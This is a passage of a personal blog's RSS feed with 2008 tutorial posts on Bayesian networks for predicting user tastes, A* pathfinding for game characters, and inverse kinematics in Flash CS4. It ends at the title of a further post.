		<description><![CDATA[I&#8217;ve always been a fan of Probabilistic Modeling and Soft Computing because this is the only tool by which we can capture the uncertainty that we find in the nature. Among various probabilistic tools Bayes&#8217; Net (BN) is one of my favorites (in full form Bayesian Belief Network). Use of BN is not new to [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=216&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve always been a fan of Probabilistic Modeling and Soft Computing because this is the only tool by which we can capture the uncertainty that we find in the nature. Among various probabilistic tools Bayes&#8217; Net (BN) is one of my favorites (in full form Bayesian Belief Network). Use of BN is not new to software development. It has been used extensively for Machine Learning. Once Bill Gates said in LA Times that their competitive advantage of their software is due to their expertise in Bayes&#8217; net. You can see how intelligently and beautifully Microsoft Office Assistant suggests you while you work in MS Office Applications. BN is also used for developing smart web applications with Collective Intelligence.</p>
<p>Now let me show you the use of BN for an interesting purpose. Before that I need to briefly explain about BN. BN is a probabilistic modeling technique that shows the causal relationship among various random variables in a particular context and used for answering any probabilistic questions regarding the random variables using Bayes&#8217; theorem. For giving examples let me use hottDhaka.com which is social networking site and focused mainly on various spots in Dhaka city including restaurants, hotels, shopping centers etc. There is a spot in hottDhaka that is <strong>Aarong</strong> in <strong>Gulshan-1</strong> which is a shopping center that provides with traditional handicraft dresses to home decor items to fashion accessories etc. Now what type of user visits that place and likes it is uncertain. But the person who loves to wear new and exceptional dresses with traditional flavor is most likely to visit that place. Moreover who lives in Gulshan-1 has a higher probability to visit that frequently than a person who lives in Dhanmondi. But we can&#8217;t say it for sure because user behavior is uncertain. A person for example a husband may not like Aarong and may also not live in Gulshan-1 but may need to visit that place because his wife loves that. So there are lot of uncertainties but the behavior of users maintains a definite probability distribution which we can model. [there are Aarong in many places, in this article I'm particularly talking about Aarong in Gulshan-1]</p>
<p>Let me model this <strong>Gulshan-Dress-Aarong</strong> scenario by BN. I assume Gulshan (<strong>G</strong>), Dress (<strong>D</strong>), and Aarong (<strong>A</strong>) to be three random variables which can take either of two values True(T) or False(F). <strong>G is True</strong> means the person under consideration lives in Gulshan-1, <strong>D is True</strong> means s/he loves wearing new traditional dresses, and <strong>A is True</strong> means s/he likes to visit Aarong etc. In BN diagram there are nodes for each random variable and the arrow from one node to another indicates causal relationships. Below is the model diagram for this example.</p>
<p style="text-align:justify;">
<div id="attachment_222" class="wp-caption aligncenter" style="width: 230px"><img class="size-full wp-image-222" title="Bayes' Net for Gulshan-Dress-Aarong Scenario" src="http://nadimissimple.files.wordpress.com/2008/12/bn1.png?w=220&#038;h=233" alt="Baye's Net for Gulshan-Dress-Aarong Scenario" width="220" height="233" /><p class="wp-caption-text">Bayes&#39; Net for Gulshan-Dress-Aarong Scenario</p></div>
<p>There is an arrow from D to A indicates that D (dress loving) may influence the liking of Aarong. An arrow from G to D means that living in Gulshan-1 may influence in dress loving to visiting Aarong. A direct arrow from G to A means living or non-living in Gulshan-1 may also influence in liking Aarong. Now how much does a random variable influence to another is described by joint probability distribution associated with each node. The probabilities in consideration are,</p>
<p style="padding-left:30px;"><strong>P(G)</strong> = probability of a person living in Gulshan-1</p>
<p style="padding-left:30px;"><strong>P(~G)</strong> = probability of a person not living in Gulshan-1</p>
<p style="padding-left:30px;"><strong>P(D|G)</strong> = probability of a person loves dress given that s/he lives in Gulshan-1</p>
<p style="padding-left:30px;"><strong>P(D|~G)</strong> = probability of a person loves dress given that s/he doesn&#8217;t live in Gulshan-1</p>
<p style="padding-left:30px;"><strong>P(~D|G)</strong> = probability of a person doesn&#8217;t love dress given that s/he lives in Gulshan-1</p>
<p style="padding-left:30px;"><strong>P(~D|~G)</strong> = probability of a person doesn&#8217;t love dress given that s/he doesn&#8217;t live in Gulshan-1</p>
<p style="padding-left:30px;"><strong>P(A|G, D)</strong> = probability of a person likes Aarong given that s/he lives in Gulshan-1 and loves dress</p>
<p style="padding-left:30px;"><strong>P(A|G, ~D)</strong> = probability of a person likes Aarong given that s/he lives in Gulshan-1 and doesn&#8217;t love dress</p>
<p style="padding-left:30px;"><strong>P(A|~G, D)</strong> = probability of a person likes Aarong given that s/he doesn&#8217;t live in Gulshan-1 and loves dress</p>
<p style="padding-left:30px;"><strong>P(A|~G, ~D)</strong> = probability of a person likes Aarong given that s/he doesn&#8217;t live in Gulshan-1 and doesn&#8217;t love dress</p>
<p style="padding-left:30px;">etc.</p>
<p style="padding-left:30px;">
<div id="attachment_229" class="wp-caption aligncenter" style="width: 295px"><img class="size-full wp-image-229" title="Probabilities Associated with Nodes" src="http://nadimissimple.files.wordpress.com/2008/12/pr.png?w=285&#038;h=281" alt="Probabilities Associated with Nodes" width="285" height="281" /><p class="wp-caption-text">Probabilities Associated with Nodes</p></div>
<p>The number of probability terms increases exponentially with the number of random variables and probability calculation becomes difficult when the network size gets large. Problem of BN calculation is NP-Hard. But the good news is there have already some efficient algorithms been developed in the literature for BN calculations.</p>
<p>The above BN can help us finding the answers to queries like,</p>
<ul>
<li>What is the probability that a person likes Aarong given that s/he doesn&#8217;t live in Gulshan-1 but loves new dresses?</li>
<li>What is the probability that we find a person who likes Aarong but doesn&#8217;t like dresses lives in Gulshan-1?</li>
<li>What is the probability that a person lives in Gulshan-1 but doesn&#8217;t like dresses will like Aarong?</li>
<li>What is the probability that a person likes dress given that s/he lives in Gulshan-1?</li>
</ul>
<p>We can find answers to any queries with probability. The above four are only a few for this particular example.</p>
<p>Now let me show you how BN can be used to predict user taste in your website (in this case hottDhaka). For simplicity of calculation let me consider the following simple BN.</p>
<div id="attachment_230" class="wp-caption aligncenter" style="width: 61px"><img class="size-full wp-image-230" title="Bayes' Net for User Taste Prediction" src="http://nadimissimple.files.wordpress.com/2008/12/predbn.png?w=51&#038;h=315" alt="Bayes' Net for User Taste Prediction" width="51" height="315" /><p class="wp-caption-text">Bayes&#39; Net for User Taste Prediction</p></div>
<p>Suppose by past user activity you found that 50 users like Aarong out of 100 users. Out of these 50 Aarong loving users 40 like new dresses and among these 40 users 28 live in Gulshan-1.  Now in the 10 dress non-loving users, 3 live in Gulshan-1. Further of other 50 non-aarong loving users 20 like new dresses. Now we can calculate the following probabilities.</p>
<p style="padding-left:30px;"><strong>P(A) = probability of Aarong loving users = 50/100 = 0.5</strong></p>
<p style="padding-left:30px;"><strong>P(~A) = probability of Aarong non-loving users = 1 &#8211; P(A) = 1 &#8211; 0.5 = 0.5</strong></p>
<p style="padding-left:30px;"><strong>P(D|A) = probability of dress loving users given that they also like Aarong = 40/50 = 0.8</strong></p>
<p style="padding-left:30px;"><strong>P(D|~A) = probability of dress loving users given that they don&#8217;t like Aarong = 20/50 = 0.4</strong></p>
<p style="padding-left:30px;"><strong>P(~D|A) = probability of dress non-loving users given that they also like Aarong = 10/50 = 0.2</strong></p>
<p style="padding-left:30px;"><strong>P(~D|~A) = probability of dress non-loving users given that they don&#8217;t like Aarong = 30/50 = 0.6</strong></p>
<p style="padding-left:30px;"><strong>P(G|D) = probability of users living in Gulshan-1 given that they love dress = 28/40 = 0.7</strong></p>
<p style="padding-left:30px;"><strong>P(G|~D) = probability of users living in Gulshan-1 given that they don&#8217;t love dress = 3/10 = 0.3</strong></p>
<p style="padding-left:30px;"><strong>P(~G|D) = probability of users not living in Gulshan-1 given that they love dress = 12/40 = 0.3</strong></p>
<p style="padding-left:30px;"><strong>P(~G|~D) = probability of users not living in Gulshan-1 given that they don&#8217;t love dress = 7/10 = 0.7</strong></p>
<p>Now suppose you want to suggest users of hottDhaka about spots when they are finished creating new account and filling up profile.</p>
<p>When any user fills in his/her home location and enters his/her home is in Gulshan-1, the probability that s/he would like new dresses can be calculated in the following way,</p>
<p style="padding-left:30px;"><strong>P(D) = P(D|A)P(A) + P(D|~A)P(~A) = 0.8×0.5 + 0.4×0.5 = 0.6</strong></p>
<p style="padding-left:30px;"><strong>P(G) = P(G|D)P(D) + P(G|~D)P(~D) = 0.7×0.6 + 0.3×(1-0.6) = 0.54</strong></p>
<p style="padding-left:30px;"><strong>P(D|G) = P(G|D)P(D)/P(G) = 0.7×0.6/0.54 = 0.78</strong></p>
<p>So the probability that a user may like new dresses when s/he fills up his/her profile and puts his/her home is in Gulshan-1 is 0.78 or 78%. Now suppose after filling his/her home location he also chooses dress to be his/her choise from a favorites selection list, now you want to calculate the probability that s/he would like Aarong can be done in the following way,</p>
<p style="padding-left:30px;"><strong>P(A) = 0.5</strong></p>
<p style="padding-left:30px;"><strong>P(G) = 0.54</strong></p>
<p style="padding-left:30px;"><strong>P(G|A) = P(G|D)P(D|A) + P(G|~D)P(~D|A) = 0.7×0.8 + 0.3×0.2 = 0.62</strong></p>
<p style="padding-left:30px;"><strong>P(A|G) = P(G|A)P(A)/P(G) = 0.62×0.5/0.54 = 0.57</strong></p>
<p>Well now the probability of that particular user to like Aarong after filling his/her home location in Gulshan-1 and likes new dresses is 0.57 or 57%. So now based on this probability you can predict that this user may like to visit Aarong and you can then suggest him/her to visit Aarong <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>This decision process can further be improved by incorporating Fuzzy Inference Engine which will infer about the user taste more intelligently than simple hard limiting threshold. Using Fuzzy Inference Engine the following type of decision can be done using Fuzzy terms like <strong>pretty high, good, not bad</strong> etc,</p>
<p style="text-align:center;"><strong>IF probability of dress loving is pretty high AND probability of Aarong loving is good THEN suggest user to visit Aarong</strong></p>
<p style="text-align:justify;">Well, I&#8217;ve shown a very very and very simple example of application of Bayes&#8217; net. You can&#8217;t imagine how beautifully it can be used to enhance user experience and making your web site smarter.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/nadimissimple.wordpress.com/216/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/nadimissimple.wordpress.com/216/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/nadimissimple.wordpress.com/216/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/nadimissimple.wordpress.com/216/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/nadimissimple.wordpress.com/216/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/nadimissimple.wordpress.com/216/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/nadimissimple.wordpress.com/216/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/nadimissimple.wordpress.com/216/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/nadimissimple.wordpress.com/216/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/nadimissimple.wordpress.com/216/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/nadimissimple.wordpress.com/216/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/nadimissimple.wordpress.com/216/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/nadimissimple.wordpress.com/216/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/nadimissimple.wordpress.com/216/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=216&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://nadimissimple.wordpress.com/2008/12/10/use-bayes-net-predict-user-taste/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/71d3e44dd0208280386aad8c05b11205?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nadim</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/bn1.png" medium="image">
			<media:title type="html">Bayes' Net for Gulshan-Dress-Aarong Scenario</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/pr.png" medium="image">
			<media:title type="html">Probabilities Associated with Nodes</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/predbn.png" medium="image">
			<media:title type="html">Bayes' Net for User Taste Prediction</media:title>
		</media:content>
	</item>
		<item>
		<title>A* Search: A Nice Tool for AI Game Developers</title>
		<link>http://nadimissimple.wordpress.com/2008/12/09/a-search-a-nice-tool-for-ai-game-developers/</link>
		<comments>http://nadimissimple.wordpress.com/2008/12/09/a-search-a-nice-tool-for-ai-game-developers/#comments</comments>
		<pubDate>Mon, 08 Dec 2008 21:33:09 +0000</pubDate>
		<dc:creator>Nadim Jahangir</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[Artificial Intelligence]]></category>
		<category><![CDATA[Games]]></category>

		<guid isPermaLink="false">http://nadimissimple.wordpress.com/?p=180</guid>
		<description><![CDATA[If a game is not developed with Artificial Intelligence (AI) then the characters in that game seem brainless which we don&#8217;t like. We want games seem realistic although the whole thing is virtual. The most important problem in AI is searching. Let me describe with an example. Suppose in an action game there is a [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=180&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>If a game is not developed with Artificial Intelligence (AI) then the characters in that game seem brainless which we don&#8217;t like. We want games seem realistic although the whole thing is virtual. The most important problem in AI is searching. Let me describe with an example. Suppose in an action game there is a maze like one shown in the image below. A man is walking in this maze and there is a bug that tries to attack that man. Now how can that bug reach to that man? In brute-force fashion we can try all the possible paths between the bug and the man but in a large world brute-force search is not feasible which requires both huge CPU cycles and memory. Moreover in brute-force means the bug will not show any intelligence. Also the bug needs to avoid obstacles shown by black blocks.</p>
<div id="attachment_181" class="wp-caption aligncenter" style="width: 412px"><img class="size-full wp-image-181" title="The world" src="http://nadimissimple.files.wordpress.com/2008/12/a_star1.gif?w=402&#038;h=402" alt="The world" width="402" height="402" /><p class="wp-caption-text">The world</p></div>
<p>If you are to go to Sylhet from Dhaka, what will you do? Maybe first you think to go to Mymansing then from Mymansing to Sylhet. You will not start for going to Rajshahi because you know that Rajshahi is more far from Sylhet than Mymansing. If you have no knowledge about the distance among places then it&#8217;d be very difficult to find the optimal path. This type of prior knowledge is called Heuristics in terms of AI. A* searching algorithm is a very efficient and complete heuristic search algorithm. The completeness characteristic says that if there is a possible path then this algorithm must converge to a solution.</p>
<p>Now let me explain the algorithm in detail. First we need to encode the actual world into a convenient form so that the algorithm can be implemented easily. In the above world the bug and the man can stand at any point inside the maze within the blue areas other than the obstacles which is shown by black regions. But if we consider all the points in the region then it&#8217;ll be infeasible for implementation. So I tiled the whole world into small squares as shown above. Each tile/block is assumed to be a node in a graph which has 8 adjacent nodes on left, right, top, bottom, top-left corner, top-right corner, bottom-left corner, and bottom-right corner. So by a single step the bug can go into any of 8 adjacent blocks as shown below.</p>
<div id="attachment_185" class="wp-caption aligncenter" style="width: 162px"><img class="size-full wp-image-185" title="8 Adjacent Blocks" src="http://nadimissimple.files.wordpress.com/2008/12/adj.gif?w=152&#038;h=152" alt="8 Adjacent Blocks" width="152" height="152" /><p class="wp-caption-text">8 Adjacent Blocks</p></div>
<p>We need a distance function which takes two blocks as input and gives the distance between them. There are several distance functions namely Euclidean distance, city block distance, chessboard distance etc. You can choose any of these depending on the application. For now I&#8217;m using city block distance which is defined as follows,</p>
<p style="text-align:center;"><strong>dist(b1, b2) = |row(b1) &#8211; row(b2)| + |col(b1) &#8211; col(b2)|</strong></p>
<p>where <strong>b1</strong>, <strong>b2</strong> are two blocks and <strong>row(.)</strong> returns the row corresponding to the input block and <strong>col(.)</strong> returns column. Following is the city block distances of 8 adjacent blocks with respect to the center block.</p>
<div id="attachment_186" class="wp-caption aligncenter" style="width: 162px"><img class="size-full wp-image-186" title="City Block Distance from the Center Block" src="http://nadimissimple.files.wordpress.com/2008/12/dist.gif?w=152&#038;h=152" alt="City Block Distance from the Center Block" width="152" height="152" /><p class="wp-caption-text">City Block Distance from the Center Block</p></div>
<p>Now by this distance we can make rough estimate about the distance between the bug and the man (without considering the obstacles). We&#8217;ll use this distance as search heuristics. During the execution of the algorithm a cost function will be used which is defined as follows,</p>
<p style="text-align:center;"><strong>cost(current_block, start_block, end_block) = dist(current_block, start_block) + dist(current_block, end_block)</strong></p>
<p>During the execution we will choose the least cost block. The algorithm pseudo-code is given below,</p>
<p><strong>put the start_block into a list named list_open</strong></p>
<p><strong>while list_open is not empty</strong></p>
<p style="padding-left:30px;"><strong>current_block = least cost block in list_open</strong></p>
<p style="padding-left:30px;"><strong>if current_block is the end_block then</strong></p>
<p style="padding-left:60px;"><strong>path is complete</strong></p>
<p style="padding-left:30px;"><strong>else</strong></p>
<p style="padding-left:60px;"><strong>move current_block to another list named list_closed</strong></p>
<p style="padding-left:60px;"><strong>for each adjacent block of current_block do</strong></p>
<p style="padding-left:90px;"><strong>if it is not in list_open and in list_closed and it is not obstacle then</strong></p>
<p style="padding-left:120px;"><strong>move it to list_open and calculate cost</strong></p>
<p>When a least cost block is chosen then we need to keep track about from which block this block is selected and for this we will use arrow direction as shown below. Below is the execution result of A* search algorithm on the world we considered.</p>
<div id="attachment_191" class="wp-caption aligncenter" style="width: 412px"><img class="size-full wp-image-191" title="Execution Result of A*" src="http://nadimissimple.files.wordpress.com/2008/12/exec.gif?w=402&#038;h=402" alt="Execution Result of A*" width="402" height="402" /><p class="wp-caption-text">Execution Result of A*</p></div>
<p>Deep explanation of this A* is beyond the scope of this article, I apologize for that. You can get this algorithm explained in details in any book of AI. You can enjoy a demo of this that I developed by Flash ActionScript 3 here <a href="http://nadimjahangir.net/xp/A_star.swf">A* Pathfinding Demo by Nadim</a>.</p>
<p>Now consider the following case where there is no way out from the bug to the man.</p>
<div id="attachment_194" class="wp-caption aligncenter" style="width: 412px"><img class="size-full wp-image-194" title="Dead End" src="http://nadimissimple.files.wordpress.com/2008/12/dead.gif?w=402&#038;h=402" alt="Dead End" width="402" height="402" /><p class="wp-caption-text">Dead End</p></div>
<p>In such cases how can we find that the bug has reached a dead end? Well, it&#8217;s easy, when the bug reaches the dead boundary and has no new blocks to step toward, the list_open becomes empty and if it is not then there is no adjacent blocks available to put into list_closed.</p>
<p><span style="text-decoration:underline;"><strong>Terrain Cost</strong></span></p>
<p>The above example is the simplest use of heuristics which is based on simple spatial distance. In some cases this simple distance may not suffice to achieve realism.  For example same distance in swamp area takes more time to travel than plain area takes. So we need to assign bigger cost for swamp area than to plain area. The cost calculation just needs to be changed, everything in the algorithm remain same. The cost calculation will be as follows,</p>
<p style="text-align:center;"><strong>cost = distance from start position + distance to end position + terrain cost</strong></p>
<p>Let&#8217;s consider three types of areas namely plain, grassland, and swamped. The terrain costs are,</p>
<div id="attachment_199" class="wp-caption aligncenter" style="width: 128px"><img class="size-full wp-image-199" title="Terrain Cost Assignment" src="http://nadimissimple.files.wordpress.com/2008/12/terrcost.gif?w=118&#038;h=88" alt="Terrain Cost Assignment" width="118" height="88" /><p class="wp-caption-text">Terrain Cost Assignment</p></div>
<div id="attachment_200" class="wp-caption aligncenter" style="width: 412px"><img class="size-full wp-image-200" title="Example Terrain World" src="http://nadimissimple.files.wordpress.com/2008/12/terrworld.gif?w=402&#038;h=402" alt="Example Terrain World" width="402" height="402" /><p class="wp-caption-text">Example Terrain World</p></div>
<p><span style="text-decoration:underline;"><strong>Influence Mapping</strong></span></p>
<p>The calculation of terrain cost requires prior knowledge about the land features which is fixed for particular land. But in some cases the cost may be dynamic. For example suppose the man in the above example got a gun and he can shoot the bug when it comes closer. If there are more than one bug, the real world bugs will not go to the way where previously some bugs got killed by that man. If we can somehow program the bugs so that they don&#8217;t go along the path where previously some bugs got killed then it becomes more realistic and the bugs seem to act intelligently. We can do this by simply incorporating dynamic cost calculation or influence map. When any bug gets killed in a block, the cost of that block needs to be increased so that other bugs avoid that block when possible (during selection from list_open). A simple influence map is shown below.</p>
<div id="attachment_204" class="wp-caption aligncenter" style="width: 503px"><img class="size-full wp-image-204" title="Example Influence Map" src="http://nadimissimple.files.wordpress.com/2008/12/infmap1.gif?w=493&#038;h=402" alt="Example Influence Map" width="493" height="402" /><p class="wp-caption-text">Example Influence Map</p></div>
<p>This map changes over time each time the man moves and each time a bug is killed. In cost calculation the influence is just added with the total cost. More realism can be achieved by smart heuristics. It is not necessary to divide the world into blocks, we can choose any kind of encoding that is convenient for us. Below is an example of graph for a world where tanks are fighting.</p>
<div id="attachment_208" class="wp-caption aligncenter" style="width: 350px"><img class="size-full wp-image-208" title="Another World" src="http://nadimissimple.files.wordpress.com/2008/12/tank.gif?w=340&#038;h=336" alt="Another World" width="340" height="336" /><p class="wp-caption-text">Another World</p></div>
<p><span style="color:#888888;"><em>References:</em></span></p>
<ol>
<li><span style="color:#888888;"><em>Artificial Intelligence (Stuart J. Russell and Peter Norvig).</em></span></li>
<li><span style="color:#888888;"><em>AI for Game Developers (O&#8217;Reilly).</em></span></li>
<li><span style="color:#888888;"><em>A* Search Algorithm (WikiPedia).</em></span></li>
</ol>
<p class="r"><span class="l"><em> </em><em><br />
</em></span></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/nadimissimple.wordpress.com/180/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/nadimissimple.wordpress.com/180/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/nadimissimple.wordpress.com/180/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/nadimissimple.wordpress.com/180/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/nadimissimple.wordpress.com/180/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/nadimissimple.wordpress.com/180/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/nadimissimple.wordpress.com/180/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/nadimissimple.wordpress.com/180/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/nadimissimple.wordpress.com/180/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/nadimissimple.wordpress.com/180/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/nadimissimple.wordpress.com/180/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/nadimissimple.wordpress.com/180/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/nadimissimple.wordpress.com/180/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/nadimissimple.wordpress.com/180/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=180&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://nadimissimple.wordpress.com/2008/12/09/a-search-a-nice-tool-for-ai-game-developers/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/71d3e44dd0208280386aad8c05b11205?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nadim</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/a_star1.gif" medium="image">
			<media:title type="html">The world</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/adj.gif" medium="image">
			<media:title type="html">8 Adjacent Blocks</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/dist.gif" medium="image">
			<media:title type="html">City Block Distance from the Center Block</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/exec.gif" medium="image">
			<media:title type="html">Execution Result of A*</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/dead.gif" medium="image">
			<media:title type="html">Dead End</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/terrcost.gif" medium="image">
			<media:title type="html">Terrain Cost Assignment</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/terrworld.gif" medium="image">
			<media:title type="html">Example Terrain World</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/infmap1.gif" medium="image">
			<media:title type="html">Example Influence Map</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/tank.gif" medium="image">
			<media:title type="html">Another World</media:title>
		</media:content>
	</item>
		<item>
		<title>Inverse Kinematics in Adobe Flash CS4</title>
		<link>http://nadimissimple.wordpress.com/2008/11/27/inverse-kinematics-in-adobe-flash-cs4/</link>
		<comments>http://nadimissimple.wordpress.com/2008/11/27/inverse-kinematics-in-adobe-flash-cs4/#comments</comments>
		<pubDate>Thu, 27 Nov 2008 05:20:45 +0000</pubDate>
		<dc:creator>Nadim Jahangir</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://nadimissimple.wordpress.com/?p=168</guid>
		<description><![CDATA[I first studied about Inverse Kinematics (IK) in a book on Robotics. IK is aka motion planning that calculates the motion parameters for various segments in an articulated structure. IK is used in Game Programming and 3D Animations. Recently Adobe introduced IK in Flash CS4 which is really a big addition and I think it&#8217;ll [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=168&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I first studied about Inverse Kinematics (IK) in a book on Robotics. IK is aka motion planning that calculates the motion parameters for various segments in an articulated structure. IK is used in Game Programming and 3D Animations. Recently Adobe introduced IK in Flash CS4 which is really a big addition and I think it&#8217;ll give more power to Flash Animators and Flash Game Developers. The IK task is done by articulated bone structure for which Flash CS4 provides necessary tools. You can find more on this in <a href="http://help.adobe.com/en_US/Flash/10.0_UsingFlash/WS9F717870-8AED-438d-B324-44ACCE6871E8a.html#WS7C4F9BCB-CF7A-462b-887A-A7FCD32E6325a">Adobe Flash CS4 What&#8217;s New Page</a>. Flash CS4 introduces other features too which are really cool and useful.</p>
<div id="attachment_169" class="wp-caption aligncenter" style="width: 298px"><a href="http://nadimissimple.files.wordpress.com/2008/11/an_ik_shape.png"><img class="size-full wp-image-169" title="A shape with an IK armature added" src="http://nadimissimple.files.wordpress.com/2008/11/an_ik_shape.png?w=288&#038;h=408" alt="A shape with an IK armature added" width="288" height="408" /></a><p class="wp-caption-text">A shape with an IK armature added</p></div>
<div id="attachment_171" class="wp-caption aligncenter" style="width: 238px"><a href="http://nadimissimple.files.wordpress.com/2008/11/an_ik_symbols.png"><img class="size-full wp-image-171" title="A group of several symbols with IK bones attached" src="http://nadimissimple.files.wordpress.com/2008/11/an_ik_symbols.png?w=228&#038;h=446" alt="A group of several symbols with IK bones attached" width="228" height="446" /></a><p class="wp-caption-text">A group of several symbols with IK bones attached</p></div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/nadimissimple.wordpress.com/168/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/nadimissimple.wordpress.com/168/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/nadimissimple.wordpress.com/168/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/nadimissimple.wordpress.com/168/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/nadimissimple.wordpress.com/168/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/nadimissimple.wordpress.com/168/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/nadimissimple.wordpress.com/168/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/nadimissimple.wordpress.com/168/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/nadimissimple.wordpress.com/168/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/nadimissimple.wordpress.com/168/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/nadimissimple.wordpress.com/168/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/nadimissimple.wordpress.com/168/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/nadimissimple.wordpress.com/168/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/nadimissimple.wordpress.com/168/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=168&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://nadimissimple.wordpress.com/2008/11/27/inverse-kinematics-in-adobe-flash-cs4/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/71d3e44dd0208280386aad8c05b11205?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nadim</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/11/an_ik_shape.png" medium="image">
			<media:title type="html">A shape with an IK armature added</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/11/an_ik_symbols.png" medium="image">
			<media:title type="html">A group of several symbols with IK bones attached</media:title>
		</media:content>
	</item>
		<item>
		<title>My Headless Client Can Be a Headache for HottDhaka</title>
		<link>http://nadimissimple.wordpress.com/2008/11/12/my-headless-client-can-be-a-headache-for-hottdhaka/</link>
		<comments>http://nadimissimple.wordpress.com/2008/11/12/my-headless-client-can-be-a-headache-for-hottdhaka/#comments</comments>
